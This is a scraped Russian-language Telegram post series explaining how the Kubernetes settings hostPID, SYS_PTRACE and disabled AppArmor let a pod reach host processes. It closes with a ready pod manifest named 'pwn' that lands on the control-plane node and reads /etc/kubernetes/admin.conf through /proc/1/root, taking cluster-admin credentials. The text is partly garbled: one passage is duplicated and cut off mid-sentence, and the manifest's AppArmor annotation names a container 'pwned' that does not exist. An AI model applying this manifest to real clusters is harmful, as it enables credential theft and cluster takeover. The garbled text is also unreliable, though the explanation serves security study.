Но, очевидно, это послабление открывает доступ не только ко всем процессам в контейнере, но и ко всем процессам во всех контейнерах, крутящихся на той же ноде, они все по умолчанию запущены под одним и тем же профилем AppArmor.
Для того чтобы запустить контейнер с отключенным AppArmor нужно в docker добавить к команде run флаг
--security-opt=apparmor:unconfined. В kubernetes нужно добавить аннотацию к поду container.apparmor.security.beta.kubernetes.io/<container_name>: unconfined AppArmor'у плевать на CAP_SYS_PTRACE, поэтому если атакующий может запустить под с hostPID: true и CAP_SYS_PTRACE, но неможет отключить AppArmor - его область атаки - только процессы других контейнеров. Хостовые процессы, запущенные без AppArmor будут ему не доступны.
🔥5👍3
hostPID: true и --pid=host. Часть 4
Часть 1
Часть 2
Часть 3
Ну и наглядный пример по итогам всего вышесказанного.
Если мы можем создавать поды с:
1) hostPID: true
2) SYS_PTRACE capability
3) отключенным AppArmor
То мы можемзапупывнить кластер кубера одним маленьким подом, спецификация которого ниже. Этого достаточно, т.к.:
- Доступ к процессу с PID 1 у нас есть благодаря hostPID:true;
- наличие SYS_PTRACE позволяет обойти обычные проверки ptrace access mode;
- Yama не работает, так как мы запрашиваем всего лишь PTRACE_MODE_READ;
- AppArmor необходимо отключать, так как он не дает доступа в процессы, запущенные под другим профилем.
- nodeSelector и tolerations позволяют выполниться на master-ноде кубера.
Часть 1
Часть 2
Часть 3
Ну и наглядный пример по итогам всего вышесказанного.
Если мы можем создавать поды с:
1) hostPID: true
2) SYS_PTRACE capability
3) отключенным AppArmor
То мы можем
- Доступ к процессу с PID 1 у нас есть благодаря hostPID:true;
- наличие SYS_PTRACE позволяет обойти обычные проверки ptrace access mode;
- Yama не работает, так как мы запрашиваем всего лишь PTRACE_MODE_READ;
- AppArmor необходимо отключать, так как он не дает доступа в процессы, запущенные под другим профилем.
- nodeSelector и tolerations позволяют выполниться на master-ноде кубера.
👍2
apiVersion: v1
kind: Pod
metadata:
name: pwn
annotations:
container.apparmor.security.beta.kubernetes.io/pwned: unconfined #disable apparmor
spec:
hostPID: true #root PID namespace
containers:
- name: pwn
image: ubuntu
command: [ "cat", "/proc/1/root/etc/kubernetes/admin.conf" ]
securityContext:
capabilities:
add:
- SYS_PTRACE # SYS_PTRACE to bypass ptrace access mode checks
nodeSelector: # land on master node
node-role.kubernetes.io/control-plane: ''
tolerations: # tolerate control-plane node tains
- key: ""
operator: "Exists"
effect: ""
🔥5👍4